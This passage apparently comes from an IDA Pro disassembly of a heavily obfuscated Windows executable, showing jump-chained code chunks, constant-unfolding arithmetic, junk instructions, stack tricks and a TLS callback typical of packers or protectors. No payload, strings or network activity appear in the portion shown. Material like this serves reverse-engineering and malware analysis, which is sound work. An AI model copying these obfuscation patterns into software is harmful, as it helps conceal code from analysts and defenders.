		xchg	edx, [esp+0]
		pop	edx
		mov	eax, ebx
		jmp	loc_42F9B6
sub_42B5D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B5E4	proc near		; CODE XREF: sub_426461+Ap
					; sub_426E98:loc_426F10p ...

; FUNCTION CHUNK AT 00428AFA SIZE 00000006 BYTES

		mov	eax, [ebx+ecx]
		xor	eax, [ebx+ecx+4]
		jmp	loc_428AFA
sub_42B5E4	endp

; ---------------------------------------------------------------------------


loc_42B5F0:				; CODE XREF: wto1jq8f:0042636Aj
		ja	loc_42F77A

; =============== S U B	R O U T	I N E =======================================



sub_42B5F6	proc near		; CODE XREF: sub_42FED8-41Ap

arg_4		= dword	ptr  8

		mov	[esp+0], edi
		pop	edi
		add	esi, 70DB461Bh


loc_42B600:				; CODE XREF: wto1jq8f:0042F3D0j
		popf
		xchg	esi, [esp-8+arg_4]
		jmp	sub_42F185
sub_42B5F6	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42B60A:				; CODE XREF: wto1jq8f:00425D45j
					; sub_429471:loc_42B18Aj
		jmp	loc_42CD28
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------


loc_42B60F:				; DATA XREF: sub_42A14D-426Eo
		push	400h
		mov	eax, [ebp-8]
		push	offset sub_425EB9
		jmp	locret_42D657
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427752


loc_42B621:				; CODE XREF: sub_427752+Bj
		pop	ecx
		and	ecx, 0D7E2172Dh
		xor	ecx, 3243E421h
		add	ecx, 0CBA0DCA8h
		xchg	ecx, [esp+0]
		jmp	sub_42B855
; END OF FUNCTION CHUNK	FOR sub_427752

; =============== S U B	R O U T	I N E =======================================



sub_42B63C	proc near		; CODE XREF: wto1jq8f:0042686Bj
					; sub_42F2C7-6078p

; FUNCTION CHUNK AT 0042D024 SIZE 00000012 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0BDBDEA17h
		pop	ebx
		sub	ebx, 0D689645Fh
		and	ebx, 1E8E921Dh
		xor	ebx, 0E89832AEh
		jmp	loc_42D024
sub_42B63C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42B65D:				; CODE XREF: sub_426E98:loc_426EC4j
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_425108[eax*4]
		mov	[ebp-8], eax
		call	sub_42D9D9


loc_42B66F:				; DATA XREF: sub_42658A+51F4o
		add	eax, ebp
		add	eax, 3AAD3D5Ah
		mov	eax, [eax]
		push	0F707A16Ch
		mov	[esp+24h+var_24], eax
		call	sub_42DFE5
		lea	eax, [ebp-0Ch]
		jmp	loc_42E878
; END OF FUNCTION CHUNK	FOR sub_426E98

; =============== S U B	R O U T	I N E =======================================



sub_42B68E	proc near		; CODE XREF: sub_42826A+4j

; FUNCTION CHUNK AT 00428EFF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042902C SIZE 0000000E BYTES

		add	esp, 0FFFFFFE0h
		jmp	loc_428EFF
sub_42B68E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_42B696:				; CODE XREF: sub_42F2C7-2820j
		not	eax


loc_42B698:				; CODE XREF: sub_42F2C7:loc_42BF18j
		call	sub_4262F5
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; START	OF FUNCTION CHUNK FOR sub_426950


loc_42B69D:				; CODE XREF: sub_426950:loc_4281A6j
		mov	esi, 8FED14A3h
		popf
		jmp	loc_427D8B
; END OF FUNCTION CHUNK	FOR sub_426950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428C71


loc_42B6A8:				; CODE XREF: sub_428C71:loc_42CD71j
		push	0AAB38A23h
		pop	eax
		add	eax, 4410EB76h
		xor	eax, 5FD48CA3h
		jmp	loc_42F3C0
; END OF FUNCTION CHUNK	FOR sub_428C71
; ---------------------------------------------------------------------------
		pop	ebx
		pop	ecx
		mov	ebp, offset loc_428B27
		xchg	ebp, [esp]
		retn
; ---------------------------------------------------------------------------
		call	sub_42FF7F
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_42B6CF:				; CODE XREF: sub_429F7D:loc_42422Cj
					; sub_42A909+3E21j
		jmp	loc_42B515
; END OF FUNCTION CHUNK	FOR sub_429F7D
; ---------------------------------------------------------------------------
		call	nullsub_246
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_424B9B
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		jmp	loc_42BF30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42B6F9:				; CODE XREF: sub_42506F:loc_42DFE0j
		shr	edx, 2
		not	eax
		test	edi, ecx
		jmp	loc_42B424
; END OF FUNCTION CHUNK	FOR sub_42506F

; =============== S U B	R O U T	I N E =======================================



sub_42B705	proc near		; CODE XREF: sub_429471-11EDj
					; sub_42BE7E-B6Fp

; FUNCTION CHUNK AT 004242EE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426C60 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		jz	loc_426C60
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_4242F8
		push	offset loc_42C085
		jmp	nullsub_50
sub_42B705	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42B722:				; CODE XREF: wto1jq8f:00425EA3j
		jz	loc_42CD44
		jmp	loc_424B3D
; ---------------------------------------------------------------------------
		mov	eax, ebx
		jmp	sub_42C423
; ---------------------------------------------------------------------------
		jnz	loc_427834
		push	ecx
		mov	ecx, [esp+10h]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_424294
		jmp	loc_42A84E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42B752:				; CODE XREF: sub_42E9E8-8D8Ej
		jnz	loc_428E5F
		jmp	loc_42A72A
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424859


loc_42B75D:				; CODE XREF: sub_424859:loc_42DAEDj
		mov	ebp, esp
		push	ebx
		push	offset loc_42DA69
		jmp	loc_42FAA9
; END OF FUNCTION CHUNK	FOR sub_424859
; ---------------------------------------------------------------------------


loc_42B76A:				; CODE XREF: wto1jq8f:00429DE4j
		mov	[edx], ebx
		ja	loc_42C3B2
; START	OF FUNCTION CHUNK FOR sub_42658A


loc_42B772:				; CODE XREF: sub_42658A+3841j
		xor	eax, 0D3DA3951h
		add	eax, 0F38A3EC7h
		push	offset loc_42B66F
		jmp	nullsub_51
; END OF FUNCTION CHUNK	FOR sub_42658A
; ---------------------------------------------------------------------------
		popf
		adc	edx, ebx
		jmp	sub_42AEDD
; ---------------------------------------------------------------------------


loc_42B790:				; DATA XREF: sub_42F3E7-5168o
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E369


loc_42B79A:				; CODE XREF: sub_42E369+19j
		jmp	nullsub_200
; END OF FUNCTION CHUNK	FOR sub_42E369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F3E7


loc_42B79F:				; CODE XREF: sub_42F3E7j
		call	sub_4272F3
		pushf
		mov	[esp+4+var_4], ecx
		jmp	near ptr dword_425514+3FCh
; END OF FUNCTION CHUNK	FOR sub_42F3E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42B7AD:				; CODE XREF: sub_42506F+180Dj
		push	offset sub_429B76
		jmp	nullsub_169
; END OF FUNCTION CHUNK	FOR sub_42506F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_253. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42B7B8:				; DATA XREF: sub_42C0DF:loc_42625Co
		add	eax, 7418C957h
		xchg	eax, [esp]
		jmp	sub_42D765
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DE65


loc_42B7C6:				; CODE XREF: sub_42D35A:loc_42DAA4j
					; sub_42DE65+7j
		js	loc_42BA12
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		call	sub_4244EA


loc_42B7D7:				; CODE XREF: sub_425CE2+5D60j
		jmp	nullsub_110
; END OF FUNCTION CHUNK	FOR sub_42DE65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42B7DC:				; CODE XREF: sub_426968-4B9j
		jnz	loc_42DFB1
		mov	eax, [ebp-8]
		shl	eax, 3
		add	[ebp-8], eax
		jmp	loc_426052
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED01


loc_42B7F0:				; CODE XREF: sub_42ED01:loc_42DFF7j
		jnz	loc_42D0CE
		jmp	loc_4274AE
; END OF FUNCTION CHUNK	FOR sub_42ED01
; ---------------------------------------------------------------------------
		pushf
		shl	esi, 1Ch
		jmp	sub_42621A
; ---------------------------------------------------------------------------


loc_42B804:				; DATA XREF: sub_42DA92-69DCo
		xchg	ebp, [esp]
		mov	eax, ebp
		pop	ebp
		or	eax, 937D3376h
		xor	eax, 5E116E99h
		add	eax, 56567B0Eh
		mov	eax, [eax]
		jmp	loc_429436
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42628C


loc_42B823:				; CODE XREF: sub_42628C+15j
		mov	eax, [ebp-4]
		cmp	word ptr [eax],	2ECDh
		jz	loc_42CF73
		call	sub_42CF6A


loc_42B836:				; CODE XREF: wto1jq8f:00426678j
		jmp	sub_4293C8
; END OF FUNCTION CHUNK	FOR sub_42628C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_42B83B:				; CODE XREF: sub_42EFB5-921Dj
		jmp	loc_426E5D
; END OF FUNCTION CHUNK	FOR sub_42EFB5

; =============== S U B	R O U T	I N E =======================================



sub_42B840	proc near		; DATA XREF: sub_42C6C3-384Do

; FUNCTION CHUNK AT 0042AD51 SIZE 00000005 BYTES

		pop	ecx
		mov	[ebp-4], eax
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jnz	loc_425F84
		jmp	loc_42AD51
sub_42B840	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B855	proc near		; CODE XREF: sub_427752+3EE5j
					; sub_42C6C3+9p

; FUNCTION CHUNK AT 0042E63A SIZE 00000005 BYTES

		jnb	sub_424F7A
		jmp	loc_42E63A
sub_42B855	endp

; ---------------------------------------------------------------------------


loc_42B860:				; CODE XREF: wto1jq8f:0042ECD2j
		call	sub_42B866
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42B866	proc near		; CODE XREF: sub_42A909:loc_428EBCp
					; wto1jq8f:loc_42B860p	...

; FUNCTION CHUNK AT 0042DB01 SIZE 00000005 BYTES

		xchg	ebp, ecx
		push	offset sub_4294C7
		jmp	loc_42DB01
sub_42B866	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42B872:				; CODE XREF: sub_42A909-F87j
		xchg	ebp, [eax]


loc_42B874:				; CODE XREF: sub_42A909+5668j
		add	eax, 0ADF4A478h
		xchg	eax, [esp+8+var_8]
		jmp	loc_42ABB9
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------


loc_42B882:				; CODE XREF: wto1jq8f:00428049j
		jz	loc_42E456
		jmp	loc_424854
; ---------------------------------------------------------------------------
		shl	edi, 1Bh
		jmp	sub_42F745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427143


loc_42B895:				; CODE XREF: sub_427143+Aj
		call	sub_429165
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_4261EE
; END OF FUNCTION CHUNK	FOR sub_427143
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D789


loc_42B8A6:				; CODE XREF: sub_42D789:loc_42D78Ej
		cmp	byte ptr [ebp-5], 0
		jnz	loc_425BE9
		jmp	loc_4277E9
; END OF FUNCTION CHUNK	FOR sub_42D789
; ---------------------------------------------------------------------------


loc_42B8B5:				; CODE XREF: wto1jq8f:00429027j
		jnz	loc_42AFFB
; START	OF FUNCTION CHUNK FOR sub_4260DB


loc_42B8BB:				; CODE XREF: sub_4260DB+12j
		sub	eax, 0CA36F370h
		call	sub_429AE8
		not	ecx
		jmp	sub_42A4FA
; END OF FUNCTION CHUNK	FOR sub_4260DB
; ---------------------------------------------------------------------------
		adc	edi, 6A09DC6Ah
		jmp	sub_42B565
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B05


loc_42B8D9:				; CODE XREF: sub_428B05+F5Ej
		jmp	nullsub_55
; END OF FUNCTION CHUNK	FOR sub_428B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42873E


loc_42B8DE:				; CODE XREF: sub_42873E+12j
		jmp	nullsub_56
; END OF FUNCTION CHUNK	FOR sub_42873E

; =============== S U B	R O U T	I N E =======================================



sub_42B8E3	proc near		; DATA XREF: sub_42C486+2C6Eo

; FUNCTION CHUNK AT 0042BBB4 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		jmp	loc_42BBB4
sub_42B8E3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D3A


loc_42B8EB:				; CODE XREF: sub_424D3A:loc_42C9C4j
		jge	loc_42B412
		sbb	esi, 1F95914Bh
		jmp	loc_42B406
; END OF FUNCTION CHUNK	FOR sub_424D3A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B8FC	proc near		; CODE XREF: sub_429B76-1FCDp
					; wto1jq8f:loc_429588j

; FUNCTION CHUNK AT 004248AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426B88 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427295 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042739D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042808C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004291B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A92C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042C129 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042D0FF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042E577 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042EE74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FD8C SIZE 0000001A BYTES

		push	ebp
		mov	ebp, esp


loc_42B8FF:				; CODE XREF: wto1jq8f:0042BDEBj
		xchg	ecx, esi
		push	esi
		xchg	ecx, esi
		jmp	loc_42EE74
sub_42B8FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B909	proc near		; DATA XREF: wto1jq8f:00425D2Bo
		add	edi, 0FB79B202h
		xchg	edi, [esp+0]
		jmp	sub_429165
sub_42B909	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D120


loc_42B917:				; CODE XREF: sub_42D120:loc_42DD4Fj
		jz	loc_42D28E
		jmp	loc_4274C8
; END OF FUNCTION CHUNK	FOR sub_42D120
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_42B922:				; CODE XREF: sub_42B276+2652j
		xchg	esi, [esp+0]
		mov	ecx, esi
		pop	esi
		pop	eax
		pop	ebp
		jmp	loc_428B27
; ---------------------------------------------------------------------------


loc_42B92F:				; CODE XREF: sub_42B276+2641j
		call	sub_42B990


loc_42B934:				; CODE XREF: sub_426144+9738j
		jmp	loc_42A307
; END OF FUNCTION CHUNK	FOR sub_42B276
; ---------------------------------------------------------------------------


loc_42B939:				; CODE XREF: wto1jq8f:0042F40Ej
		ror	eax, 6
		xor	edx, edi
		sbb	ebx, 0FF103CD5h


loc_42B944:				; CODE XREF: wto1jq8f:loc_42F402j
		add	eax, 0F412D491h
		xchg	eax, [esp]
		jmp	loc_426B2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42B952:				; CODE XREF: sub_42E9E8-A7Fj
		jz	loc_42834C
		jmp	loc_42D7AE
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
		test	ebp, ebx
		jmp	loc_42C0F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427143


loc_42B964:				; CODE XREF: sub_427143-11CFj
		mov	ds:dword_42E534, eax
; END OF FUNCTION CHUNK	FOR sub_427143
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F81B


loc_42B96B:				; CODE XREF: sub_42F81B-8C75j
					; wto1jq8f:004289AFj
		call	sub_424F83
; END OF FUNCTION CHUNK	FOR sub_42F81B
; START	OF FUNCTION CHUNK FOR sub_426D4F


loc_42B970:				; CODE XREF: sub_426D4F+805Aj
		jmp	loc_42B00D
; END OF FUNCTION CHUNK	FOR sub_426D4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E50


loc_42B975:				; CODE XREF: sub_427E50-BE4j
		jmp	sub_42A56D
; END OF FUNCTION CHUNK	FOR sub_427E50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426719


loc_42B97A:				; CODE XREF: sub_426719-770j
		jmp	loc_424DDD
; END OF FUNCTION CHUNK	FOR sub_426719
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42B97F:				; CODE XREF: sub_4244EA+6000j
		jz	loc_42DB92
		jmp	loc_42C4CA
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------


loc_42B98A:				; CODE XREF: wto1jq8f:0042464Bj
		jns	loc_42852B

; =============== S U B	R O U T	I N E =======================================



sub_42B990	proc near		; CODE XREF: sub_42B276:loc_42B92Fp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042C8C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E8E9 SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		rol	edx, 5
		jmp	loc_42C8C1
sub_42B990	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42B99D:				; CODE XREF: sub_429BFF+14j
		jnz	loc_42D636
		jmp	loc_42BC75
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42B9A8:				; CODE XREF: sub_426E98:loc_425F1Cj
		add	eax, ebp
		push	offset sub_42D953
		jmp	nullsub_232
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BD3


loc_42B9B4:				; CODE XREF: sub_429BD3:loc_427D21j
		jnz	loc_42D802
		jmp	loc_428A41
; END OF FUNCTION CHUNK	FOR sub_429BD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42B9BF:				; CODE XREF: sub_426E98+1C7Dj
		sbb	edi, esi


loc_42B9C1:				; CODE XREF: sub_426E98:loc_426FA3j
		call	sub_42A4FA


loc_42B9C6:				; CODE XREF: wto1jq8f:0042DD5Ej
		jmp	loc_429768
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
		adc	ebp, 0D45EFA9h
		jmp	sub_42F575
; ---------------------------------------------------------------------------
		mov	ds:dword_429558, eax
		call	sub_4281DD
		push	edx
		push	offset loc_429A7A
		jmp	locret_4278CB
; ---------------------------------------------------------------------------
		pop	esi
		jmp	sub_42E785
; ---------------------------------------------------------------------------
		rol	ebx, 1Fh
		jmp	sub_42AF82
; ---------------------------------------------------------------------------
		xchg	edx, ecx
		jmp	sub_42F59F
; ---------------------------------------------------------------------------

locret_42BA00:				; CODE XREF: wto1jq8f:00425093j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42BA01:				; CODE XREF: sub_4244EA+15j
		cmp	byte ptr [eax],	0CFh
		jz	loc_427CC2
		mov	eax, [ebp-4]
		jmp	loc_42AA49
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DE65


loc_42BA12:				; CODE XREF: sub_42DE65:loc_42B7C6j
		push	offset loc_426881
		jmp	nullsub_111
; END OF FUNCTION CHUNK	FOR sub_42DE65
; ---------------------------------------------------------------------------


loc_42BA1C:				; DATA XREF: sub_427A9E-2E5Co
		mov	edx, 0A22F8A70h
		call	sub_426C04
		mov	ds:dword_42591C, eax
		call	sub_424585
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_42BA30:				; CODE XREF: sub_4262CE+4B48j
		mov	edx, 0A2CD59D9h
		jmp	loc_426BE5
; END OF FUNCTION CHUNK	FOR sub_4262CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CE2


loc_42BA3A:				; CODE XREF: sub_425CE2+7A08j
		shl	eax, 2
		push	offset sub_425CE2
		jmp	loc_42B7D7
; END OF FUNCTION CHUNK	FOR sub_425CE2
; ---------------------------------------------------------------------------


loc_42BA47:				; DATA XREF: sub_429F7D:loc_424487o
		jz	loc_425FD1
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_425FD1
		jmp	loc_42F207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42BA5E:				; CODE XREF: sub_426E98:loc_42BAAAj
		call	sub_42B5E4
		jnz	loc_42EF03


loc_42BA69:				; CODE XREF: wto1jq8f:0042E191j
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jmp	loc_42E09A
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_42BA74:				; CODE XREF: sub_42BE69:loc_42E5D7j
		jz	loc_42DBE9
		jmp	loc_429054
; END OF FUNCTION CHUNK	FOR sub_42BE69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR TlsCallback_0


loc_42BA7F:				; CODE XREF: TlsCallback_0+21DCj
		push	eax
		push	0D4256386h
		pop	eax
		add	eax, 2C1D9585h
		push	offset loc_426500
		jmp	nullsub_57
; END OF FUNCTION CHUNK	FOR TlsCallback_0
; ---------------------------------------------------------------------------


loc_42BA96:				; CODE XREF: wto1jq8f:0042BD67j
		lea	eax, [ebp-14h]
		push	eax
		call	sub_42B02D
; START	OF FUNCTION CHUNK FOR sub_42A8ED


loc_42BA9F:				; CODE XREF: sub_42A8ED+2AA5j
		mov	ds:dword_42FB44, eax
		jmp	loc_42D12E
; END OF FUNCTION CHUNK	FOR sub_42A8ED
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_248. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42BAAA:				; CODE XREF: sub_426E98+DB4j
		jmp	loc_42BA5E
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
		not	edi
		jmp	loc_425B55
; ---------------------------------------------------------------------------
		push	99FC4D8Dh
		jmp	sub_42D5BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E337


loc_42BAC0:				; CODE XREF: sub_42E337+Ej
		pop	eax
		or	eax, 0B6C254A4h
		rol	eax, 1Ah
		add	eax, 61676949h
		jmp	loc_42AE54
; END OF FUNCTION CHUNK	FOR sub_42E337
; ---------------------------------------------------------------------------
		test	ebp, 302ACE52h
		jmp	loc_42C043
; ---------------------------------------------------------------------------


loc_42BAE0:				; CODE XREF: wto1jq8f:0042FEB3j
		movzx	edx, byte ptr [ecx+edx]
		and	eax, edx
		jz	loc_42BBA1
		jmp	loc_42E89F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D397


loc_42BAF1:				; CODE XREF: sub_42D397:loc_4240D7j
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:byte_425920,	0
		push	offset loc_42BD54
		jmp	loc_42C62E
; END OF FUNCTION CHUNK	FOR sub_42D397
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A5C4


loc_42BB08:				; CODE XREF: sub_42A5C4+Cj
		jmp	loc_42ABB1
; END OF FUNCTION CHUNK	FOR sub_42A5C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426950


loc_42BB0D:				; CODE XREF: sub_426950+1B3Fj
		jmp	loc_4248CD
; END OF FUNCTION CHUNK	FOR sub_426950

; =============== S U B	R O U T	I N E =======================================



sub_42BB12	proc near		; CODE XREF: sub_42FB2F:loc_42EFF0p

; FUNCTION CHUNK AT 0042F163 SIZE 00000005 BYTES

		call	sub_42AF82


loc_42BB17:				; DATA XREF: sub_42B02D-2217o
		mov	eax, [eax]
		mov	ds:dword_42FB5C, eax
		xor	eax, eax
		mov	ds:dword_42FB50, eax
		jmp	loc_42F163
sub_42BB12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BB2A	proc near		; CODE XREF: sub_42B02Dj

; FUNCTION CHUNK AT 0042B4AD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042F01F SIZE 0000001E BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_42F01F
sub_42BB2A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428DBE


loc_42BB33:				; CODE XREF: sub_428DBE:loc_42A0A7j
		lea	edx, [ebp-14h]
		mov	eax, offset dword_42DAF4
		call	sub_42A56D
		lea	eax, [ebp-14h]
		push	eax
		push	offset loc_42CB0D
		jmp	nullsub_58
; END OF FUNCTION CHUNK	FOR sub_428DBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_42BB4E:				; CODE XREF: sub_42F614-A79Ej
		pop	ebx
		sbb	esi, ebp
		cmp	edi, edx
		jmp	loc_425D61
; END OF FUNCTION CHUNK	FOR sub_42F614

; =============== S U B	R O U T	I N E =======================================



sub_42BB58	proc near		; CODE XREF: wto1jq8f:004241DAj
					; sub_42506F:loc_429FCBp

; FUNCTION CHUNK AT 004274B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A1F9 SIZE 00000009 BYTES

		mov	[esp+0], esi
		pop	esi
		push	ecx
		pushf
		push	52E1A398h
		pop	ecx
		sub	ecx, 0E885AE69h
		add	ecx, 95E69163h
		jmp	loc_42A1F9
sub_42BB58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BB75	proc near		; DATA XREF: sub_42D877+1o

; FUNCTION CHUNK AT 004240ED SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042AFC8 SIZE 00000005 BYTES

		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_42AFC8
sub_42BB75	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42BB82:				; CODE XREF: sub_429318:loc_4284CFj
		xchg	ebx, [esp+4+var_4]
		jmp	sub_42DFE5
; END OF FUNCTION CHUNK	FOR sub_429318

; =============== S U B	R O U T	I N E =======================================



sub_42BB8A	proc near		; DATA XREF: sub_426968-494o

; FUNCTION CHUNK AT 00427723 SIZE 00000005 BYTES

		mov	eax, [ebp-8]
		shr	eax, 6
		xor	[ebp-8], eax
		inc	dword ptr [ebp-0Ch]
		jmp	loc_427723
sub_42BB8A	endp

; ---------------------------------------------------------------------------


loc_42BB9B:				; CODE XREF: wto1jq8f:0042FCCCj
		jz	nullsub_193
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42BBA1:				; CODE XREF: wto1jq8f:0042BAE6j
					; sub_42C486:loc_42D088j ...
		push	552BFD27h
		add	ecx, eax
		jmp	loc_42DBF4
; END OF FUNCTION CHUNK	FOR sub_42C486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A59B


loc_42BBAE:				; CODE XREF: sub_42A59B+8j
		jmp	nullsub_59
; END OF FUNCTION CHUNK	FOR sub_42A59B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8E3


loc_42BBB4:				; CODE XREF: sub_42B8E3+3j
		jmp	sub_429165
